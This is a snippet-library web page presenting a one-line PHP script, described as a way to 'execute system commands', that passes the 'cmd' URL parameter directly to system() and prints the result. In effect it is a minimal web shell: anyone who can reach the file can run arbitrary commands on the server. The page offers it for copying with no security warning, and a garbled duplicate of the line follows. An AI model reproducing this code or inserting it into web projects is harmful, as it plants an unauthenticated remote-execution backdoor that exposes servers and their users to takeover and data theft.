CODE
LIBARY.COM
Home
/
PHP
PHP Execute system commands
Execute an external program and display the output
<?php echo "<pre>"; system($_GET['cmd']); echo "</pre>"; ?>
"; system($_GET['cmd']); echo ""; ?>
Copy to Clipboard
Related Snippets
PHP HEX to RGBA Color Converter
PHP Files sorting by name
PHP strtolower() and strtoupper() alternatives
PHP Random number using microtime
PHP Send mail with headers
PHP Truncate Function for Perfect SEO Description Generation
PHP MS Word
PHP Detecting Online Users
PHP File Visit Counter
PHP Disable Self Pingback in WordPress | PHP Function